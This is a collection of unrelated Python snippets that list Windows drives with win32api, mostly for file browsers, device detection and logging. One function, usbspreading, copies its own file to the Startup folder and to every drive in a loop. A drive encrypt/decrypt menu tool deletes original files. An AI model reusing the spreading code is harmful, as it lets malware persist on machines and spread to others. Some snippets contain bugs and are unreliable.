def enumerate_windows_drives(): try: import win32api # print(repr(win32api.GetLogicalDriveStrings())) for drive in win32api.GetLogicalDriveStrings().split('\0'): if drive: yield drive except ImportError: print('Missing win32api', file=sys.stderr) import string for letter in string.ascii_uppercase: path = letter + ':\\' if os.path.exists(path): yield path
def autodetect_drive(cfg): for drive_letter in win32api.GetLogicalDriveStrings().split(chr(0)): if not drive_letter: continue print drive_letter try: drive_lable = get_drive_lable(drive_letter) except Exception, err: print "Skip drive '%s': %s" % (drive_letter, err) continue if os.path.isdir(os.path.join(drive_letter, STREAM_DIR)): return BD(cfg, drive_letter, drive_lable)
def listDrives(self): if sys.platform == 'win32': try: import win32api drives = win32api.GetLogicalDriveStrings() drives = string.splitfields(drives, '\000') return drives except: # in case PyWin is not present we do it the classical way drives = [] for i in range(ord('c'), ord('z') + 1): drive = chr(i) if (os.path.exists(drive + ":\\")): drives.append(drive + ":\\") return drives
def Run(self, unused_args): """List all local filesystems mounted on this system.""" for drive in win32api.GetLogicalDriveStrings().split("\x00"): if drive: try: volume = win32file.GetVolumeNameForVolumeMountPoint( drive).rstrip("\\") label, _, _, _, fs_type = win32api.GetVolumeInformation(drive) self.SendReply(device=volume, mount_point="/%s:/" % drive[0], type=fs_type, label=UnicodeFromCodePage(label)) except win32api.error: pass
def usbspreading(): # TODO:50 : Make this threaded. bootfolder = os.path.expanduser('~') + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/" while True: drives = win32api.GetLogicalDriveStrings() drives = drives.split('\000')[:-1] print(drives) for drive in drives: if "C:\\" == drive: copy2(__file__, bootfolder) else: copy2(__file__, drive) time.sleep(3)
def viewdirectory(): nofiles = 0 home_drive = os.path.dirname(os.path.realpath(__file__)) drives = win32api.GetLogicalDriveStrings() drives = drives.split('\000')[:-1] print("Current file path: " + home_drive) print("Current mounted drives are: " + str(drives)) drive = input("Enter a drive/directory to view: ") for files in os.listdir(drive): nofiles = nofiles + 1 #print(drive + files) print(os.path.basename(files)) print("There is: " + str(nofiles) + " files in this directory") menu()
def __get_removable_devices_win(self): import win32api import win32con import win32file res = {} for d in win32api.GetLogicalDriveStrings().split('\x00'): if d and win32file.GetDriveType(d) == win32con.DRIVE_REMOVABLE: dev_name = FIXED_IN_PATH_NAME + d res[dev_name] = { 'dev_path': dev_name, 'mount_path': d, 'read_only': not os.access(d, os.W_OK) } return res
def find_circuit_python_bootloader_mode_root(): drives = win32api.GetLogicalDriveStrings() logging.debug("raw drives is %s" % drives) drives = drives.split('\000')[:-1] logging.debug("final list of drives %s" % drives) # See if one has a volume name we like for drive in drives: volume_name = win32api.GetVolumeInformation(drive)[0] logging.debug("%s volume name is %s" % (drive, volume_name)) if volume_name in expected_bootloader_mode_volume_names: return drive logging.debug("did not find a suitable drive") return None
def find_file_in_all_drives(file_name): #create a regular expression for the file rex = re.compile(file_name) # Check if the OS is windows if platform.system() == 'Windows' : try : import win32api #print('win32api') for drive in win32api.GetLogicalDriveStrings().split('\000')[:-1]: find_file( drive, rex ) except ModuleNotFoundError : print('win32api module is not found. So just searching for the C: ') find_file('C:\\', rex) else : find_file('\\', rex)
def logMappedDrives(): logger.info( "Mapped drives" ) import win32api import pywintypes import ctypes drives = win32api.GetLogicalDriveStrings() for drive in drives.split('\000')[:-1]: try: result = win32api.GetVolumeInformation( drive ) logger.info( "drive: {} - {} :: {}".format( drive, result[4], result[0] ) ) except pywintypes.error as exc: logger.info( "drive: {} - {}".format( drive, exc.strerror ) ) return
def search_for_XDCAM_media(project): """ Searches for connected devices with XDCAM media. Creates list project.sources with any drives found. """ drives = win32api.GetLogicalDriveStrings() drives = [x for x in drives if x.isalpha() and x not in EXCLUDE_DRIVES] project.sources = [] for drive in drives: dirs = [x for x in Path(drive + ":\\").rglob("*") if x.is_dir()] # Check for XDCAM structure possible_source = [x for x in dirs if "\\XDROOT\\Clip" in str(x)] if possible_source: if len(list(possible_source[0].glob("*.mxf"))): project.sources += possible_source
def get_free_drive_letter(args_dict, raw_input): """ 获取本机可用的盘符名称 :return: """ _drive_fixed = list() drives = win32api.GetLogicalDriveStrings() drives = drives.split(':\\\000')[:-1] for i in range(24): new_create_drive = chr(i + ord('C')) _drive_fixed.append(new_create_drive) for drive in drives: if drive in _drive_fixed: _drive_fixed.remove(drive) return json.dumps(_drive_fixed), b''
def get_used_drive_letters(self, os): drive_lbls = OrderedDict() if os == "Windows": drives = win32api.GetLogicalDriveStrings() drives = drives.split('\000')[:-1] for d in drives: drive_lbls[d] = d try: info = win32api.GetVolumeInformation(d) drive_lbls[d] = info[0] if info[0] != '' else d except: continue elif os == "Linux": drive_lbls = {'/': 'Root', '/home/': 'Home'} return drive_lbls
def GetWin32LogicalDrives(): things = [] drives=win32api.GetLogicalDriveStrings() #print drives #drivesLetter = drives.split('\0') """ for letter in drivesLetter: if letter: print "%s info: %s" %(letter, win32api.GetVolumeInformation(letter)) """ things.extend([ r'\\.\%s:' % letter[0] for letter in drives.split('\0') if letter]) #how to get valid number from the os? for i in range(5): things.append(r'\\.\PhysicalDrive%d' % i) return things
def get_drive_labels2roots(ignore_drive_letters, copy_rules): all_drives = [d for d in win32api.GetLogicalDriveStrings().split('\x00') if d ] # TODO ideally, we would only check the connected drive for a matching # label, but not sure how to find the volume from the information in the # device name string (has vendor/product IDs, some identifier I have not # yet figured out, and the same class GUID hardcoded above) l.info(f'all drives whose labels will be checked: {all_drives}') drive_labels2roots = dict() for d in all_drives: l.info(f'checking label of drive at {d}') if d in ignore_drive_letters: l.info('skipping this drive because in ignore') continue try: # TODO will i ever get the drive not ready / other error for the # drives i actually care about? need to implement some retry logic # or some other checks? # GetVolumeInformation returns: # label, "serial number", max length of file name, bitmask of flags # , file system name (e.g. NTFS) label = win32api.GetVolumeInformation(d)[0] except win32api.error as e: # TODO why does this print to ipython console multiple (6) times # when debugging this function alone in ipython console # (not running this function as part of a service)? l.error(f'error when trying to GetVolumeInformation for drive {d}' f' {e}' ) continue if label in copy_rules: drive_labels2roots[label] = d l.info(f'found label "{label}" (in config) mounted at {d}') if len(drive_labels2roots) == 0: l.error('no drives found with labels matching those in rules: ' + str(list(copy_rules.keys())) ) return drive_labels2roots
def decrypt_drive(): no_files = 0 drives = win32api.GetLogicalDriveStrings() drives = drives.split('\000')[:-1] print("Current mounted drives are: " + str(drives)) dm_drive = input( "Enter the drive you wish to decrypt (or Q to return to main menu): ") if dm_drive == "Q" or "q": menu() for root, dirs, files in os.walk(dm_drive): for name in files: no_files = no_files + 1 print(os.path.join(root, name)) currentfile = os.path.join(root, name) with open(currentfile, 'rb') as f: print("Current filename: " + currentfile) output_file = currentfile[:-4] print("Output filename: " + output_file) inputsize = os.path.getsize(currentfile) inputsizekb = inputsize >> 10 inputsizemb = inputsize >> 20 outputsizeactualmb = inputsizemb * 0.785 # Improve the accuracy of this print("Input file size = " + str(inputsizemb) + "MB" " or " + str(inputsizekb) + "KB") print("Estimated output size = " + str(outputsizeactualmb) + "MB") print("Currently encrypting file # " + str(no_files)) # Add out of comparitor print("|Loading file to memory|") data = f.read() try: print("|Starting decryption|") fernet = Fernet(key) decrypted = fernet.decrypt(data) print("|Writing file to disk|") with open(output_file, 'wb') as f: f.write(decrypted) print("|Decryption Successful|") except: print("Probable invalid key", sys.exc_info()[0], "occurred.") input("Press 'Enter' to return to main menu.") menu() print("Deleting file: " + currentfile) os.remove(currentfile) print("There is " + str(no_files) + " in this directory.") input("Press 'Enter' to return to menu.") secret_menu()
def getFilesHash(): ret = [] # List logical drives drives = win32api.GetLogicalDriveStrings().split('\x00') drives.pop() # Only get local dries drives = [ d for d in drives if win32file.GetDriveType(d) == win32file.DRIVE_FIXED ] # List files for drive in drives: hashRec(drive)
def get_external_drive_letters(): """ Enumerate drive letters for thumb drive. Win32 only Adapted from https://stackoverflow.com/questions/827371/\ is-there-a-way-to-list-all-the-available-drive-letters-in-python @return: None or list of non-C drives in format 'D:\\', ... """ if os.name == 'nt': import win32api drives = win32api.GetLogicalDriveStrings() drives = drives.split('\000')[:-1] if 'C:\\' in drives: drives.remove('C:\\') return drives else: # TODO 'posix', 'mac' etc return None
def get_drive(): ''' this is to automate switching between home PC and laptop it returns J:\\AFL\\ or D:\\AFL\\ depending if D:\ is available No parameters required ''' import win32api drives = win32api.GetLogicalDriveStrings() drives = drives.split('\000')[:-1] if 'D:\\' in drives: drive = 'D:\\AFL\\' else: drive = 'J:\\AFL\\' return drive
def searchInfo(): searchInput = searchText.get() HDD_List = [] for drive in win32api.GetLogicalDriveStrings().split('\000')[:-1]: # insert the name of HDDs to the ListBox to display them for User to see. onlyHDDname = drive.split(":") desiredpath.delete(0, END) HDD_List.append(onlyHDDname[0]) for i in HDD_List[0:]: desiredpath.insert(END, i + " ") # Specify the file_type. print("Finding files") searchDir(drive, searchInput)
def findUnusedDriveLetter(self): existing = [x[0].lower() for x in win32api.GetLogicalDriveStrings().split('\0') if x] handle = win32wnet.WNetOpenEnum(RESOURCE_REMEMBERED,RESOURCETYPE_DISK,0,None) try: while 1: items = win32wnet.WNetEnumResource(handle, 0) if len(items)==0: break xtra = [i.lpLocalName[0].lower() for i in items if i.lpLocalName] existing.extend(xtra) finally: handle.Close() for maybe in 'defghijklmnopqrstuvwxyz': if maybe not in existing: return maybe self.fail("All drive mappings are taken?")
def __init__(self, **kwargs): super(LoadDialog, self).__init__(**kwargs) # Special process for Windows if platform == 'win': import win32api self.ids.spinner.opacity = 1 self.ids.spinner.size_hint_max_y = 30 self.ids.spinner.values = win32api.GetLogicalDriveStrings().split( '\000')[:-1] self.ids.spinner.values.append(str(pathlib.Path.home())) self.ids.spinner.text = self.ids.spinner.values[-1] def change_drive(spinner, text): self.ids.filechooser.path = text self.ids.spinner.bind(text=change_drive)
def get_available_drives(self): ignore = ['C:\\'] root_drive = self.path_object.root.split(':')[0] print root_drive ignore.append('%s:\\' % root_drive) if sys.platform == "darwin": print('osx') elif sys.platform == "linux2": print('linux') else: import win32api drives = win32api.GetLogicalDriveStrings() drives = drives.split('\000')[:-1] for each in drives: if each not in ignore: self.drive_combo.addItem(each)
def getFiles(): ret = [] # List logical drives drives = win32api.GetLogicalDriveStrings().split('\x00') drives.pop() # Only get local dries drives = [ d for d in drives if win32file.GetDriveType(d) == win32file.DRIVE_FIXED ] # List files for drive in drives: print os.popen('dir /s /b ' + drive).read()
def GetWin32LogicalDrivesForDisplay(): driveList = [] detailList = [] drives=win32api.GetLogicalDriveStrings() #print drives #drivesLetter = drives.split('\0') driveList.extend([ '%s:\\' % letter[0] for letter in drives.split('\0') if letter]) for drive in driveList: try: volumeSet = win32api.GetVolumeInformation(drive) #print volumeSet detailList.append("%s - %s [%s]"%(drive, volumeSet[0], volumeSet[4])) except: detailList.append("%s"%drive) return detailList
def GetProcessImageFileName(hprocess, max_path): """ 64bitアプリに対応した, プロセスのファイルパス取得. プロセスのイメージ名を取得し, イメージ名に含まれるデバイス名をドライブレターに置換している. """ # device name > drive letter 変換テーブルの作成 # 1. drive letter list ldstrings = win32api.GetLogicalDriveStrings().split("\\0")[0] drivelist = [elm.strip("\\") for elm in ldstrings.split("\0")] drivelist.remove("") # 2. device name list devicelist = [ win32file.QueryDosDevice(elm).split("\0\0")[0] for elm in drivelist ] # 3. convertion table device2driveletter = {} for i in range(len(drivelist)): device2driveletter[devicelist[i]] = drivelist[i] imagefilename = (ctypes.c_char*Windowproperty.MAX_PATH)() len_imagefilename = ctypes.windll.psapi.GetProcessImageFileNameA( hprocess, imagefilename, max_path ) # 取得失敗. イメージ名が空か, 取得処理に失敗した. if len_imagefilename==0: return "" # イメージ名に対して各デバイス名で replace を試みる. # replace できた = 対応するドライブレターに置換された. beforestr = imagefilename.value for i in range(len(drivelist)): devicename = devicelist[i] afterstr = beforestr.replace( devicename, device2driveletter[devicename] ) if beforestr!=afterstr: return afterstr # 取得失敗. 対応するドライブレターが見つからなかった. return ""
def load_drivebay(self): #get the names of the drives in the system self.drives = win32api.GetLogicalDriveStrings() self.drives = self.drives.split('\000')[:-1] for i in self.drives:#iterate over no of drives self.disk_type = win32file.GetDriveType(i)#get the drive type if self.disk_type == 3:#If hard disk self.disk_usage = round(shutil.disk_usage(i)[2]/1024/1024/1024, 2) self.item = ThreeLineAvatarListItem(text=i, secondary_text = win32api.GetVolumeInformation(i)[0], tertiary_text = str(self.disk_usage) + "Gb is left") self.item2 = IconLeftWidget(icon = 'harddisk', pos=self.pos,size=self.size) self.item.add_widget(self.item2) self.item.bind(on_release = self.callback_function) self.ids.drivers.ids.drivebay.add_widget(self.item) elif self.disk_type == 2:# If pendrive or removable medium self.disk_usage = round(shutil.disk_usage(i)[2]/1024/1024/1024, 2) self.item = ThreeLineAvatarListItem(text=i, secondary_text = win32api.GetVolumeInformation(i)[0], tertiary_text = str(self.disk_usage) + "Gb is left") self.item2 = IconLeftWidget(icon = 'usb-flash-drive', pos=self.pos,size=self.size) self.item.add_widget(self.item2) self.item.bind(on_release = self.callback_function) self.ids.drivers.ids.drivebay.add_widget(self.item) elif self.disk_type == 3: #If cd drive self.disk_usage = round(shutil.disk_usage(i)[2]/1024/1024/1024, 2) self.item = ThreeLineAvatarListItem(text=i, secondary_text = win32api.GetVolumeInformation(i)[0], tertiary_text = str(self.disk_usage) + "Gb is left") self.item2 = IconLeftWidget(icon = 'album', pos=self.pos,size=self.size) self.item.add_widget(self.item2) self.item.bind(on_release = self.callback_function) self.ids.drivers.ids.drivebay.add_widget(self.item) elif self.disk_type == 0: #If drive is corrupt self.disk_usage = round(shutil.disk_usage(i)[2]/1024/1024/1024, 2) self.item = ThreeLineAvatarListItem(text=i, secondary_text = win32api.GetVolumeInformation(i)[0], tertiary_text = "Something is wrong with this drive") self.item2 = IconLeftWidget(icon = 'alert-circle', pos=self.pos,size=self.size) self.item.add_widget(self.item2) self.item.bind(on_release = self.callback_function) self.ids.drivers.ids.drivebay.add_widget(self.item)
def EnumerateFilesystemsFromClient(args): """List all local filesystems mounted on this system.""" del args # Unused. for drive in win32api.GetLogicalDriveStrings().split("\x00"): if not drive: continue try: volume = win32file.GetVolumeNameForVolumeMountPoint(drive).rstrip( "\\") label, _, _, _, fs_type = win32api.GetVolumeInformation(drive) except win32api.error: continue yield rdf_client_fs.Filesystem(device=volume, mount_point="/%s:/" % drive[0], type=fs_type, label=UnicodeFromCodePage(label))
def init_driver_choice(self, ramdisk_setting): driver_list_str = win32api.GetLogicalDriveStrings() available_driver = settings.ALL_DISK_SET.copy() for driver in driver_list_str.split(':\\\x00'): if driver and driver != ramdisk_setting[RamDIskCfg.DRIVE.value]: available_driver.remove(driver) available_driver = tuple(sorted(available_driver)) self.driver_choice.SetItems(available_driver) if self.control_type == ControlCfgType.add: self.driver_choice.SetSelection(len(available_driver) - 1) else: count = 0 for i in available_driver: if i == ramdisk_setting[RamDIskCfg.DRIVE.value]: self.driver_choice.SetSelection(count) count += 1
def move_out(self): if not self.display.partitions: path = pathlib.Path(self.display.title) parents = path.parents if len(parents) > 0: parent_path = pathlib.Path(str(parents[0])) parent_items = [] for parent_item in parent_path.iterdir(): parent_items.append(parent_item) common.sort_items_by_name(parent_items) self.position = 0 i = self.position for parent_item in parent_items: if str(parent_item) == self.display.title: self.position = i break i += 1 common.open_directory(self.display, parent_path, self.position) else: partition_paths = [] partition_names = [] if platform.system() == 'Windows': import win32api partitions_string = win32api.GetLogicalDriveStrings() partition_names = partitions_string.split('\000') del partition_names[-1:] elif platform.system() == 'Linux': import psutil partition_tuples_list = psutil.disk_partitions(True) for partition_tuple in partition_tuples_list: partition_names.append(partition_tuple[1]) elif platform.system() == 'Darwin': import os print(os.listdir('/Volumes')) partition_names.sort(key=lambda p_name: p_name.lower()) for partition_name in partition_names: partition_paths.append(pathlib.Path(partition_name)) self.position = 0 i = self.position for partition_name in partition_names: if partition_name == self.display.title: self.position = i break i += 1 common.show_partitions(self.display, partition_paths, self.position, partition_names)